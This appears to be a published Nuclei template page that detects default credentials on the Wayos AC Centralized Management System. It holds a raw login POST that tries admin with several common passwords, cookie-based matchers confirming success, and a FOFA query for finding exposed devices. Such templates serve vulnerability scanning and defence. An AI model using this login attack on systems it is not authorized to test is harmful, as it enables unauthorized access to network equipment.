AC Centralized Management System - Default password

ID: ac-default-login

Severity: high

Author: SleepingBag945

Tags: ways-ac,default-login

Description

AC Centralized Management System default login credentials were discovered.

YAML Source

id: ac-default-login

info:
  name: AC Centralized Management System - Default password
  author: SleepingBag945
  severity: high
  description: |
    AC Centralized Management System default login credentials were discovered.
  reference:
    - https://github.com/Ershu1/2021_Hvv/blob/main/Wayos%20AC%E9%9B%86%E4%B8%AD%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F%E5%BC%B1%E5%8F%A3%E4%BB%A4.md
    - https://github.com/chaitin/xray/blob/master/pocs/secnet-ac-default-password.yml
  metadata:
    verified: "true"
    max-request: 1
    fofa-query: 'title="安网科技-智能路由系统"'
  tags: ways-ac,default-login

http:
  - raw:
      - |
        POST /login.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user={{username}}&password={{ password }}&Submit=%E7%99%BB%E5%BD%95

    attack: pitchfork
    payloads:
      username:
        - admin
      password:
        - admin
        - 123456
        - 12345678
        - password
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "ac_userid=admin"
          - "ac_passwd="
        condition: and

      - type: word
        part: body
        words:
          - "window.open"
          - "text/javascript"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022027016b28b05622d34ff31f41be70db5ab9713c080c6c16d0442f508953c0f8a6022100b1b884e382c75d85ca53fef4be61782a30ff94e6bc768ba0314077af54c70866:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/default-logins/wayos/ac-weak-login.yaml"

View on Github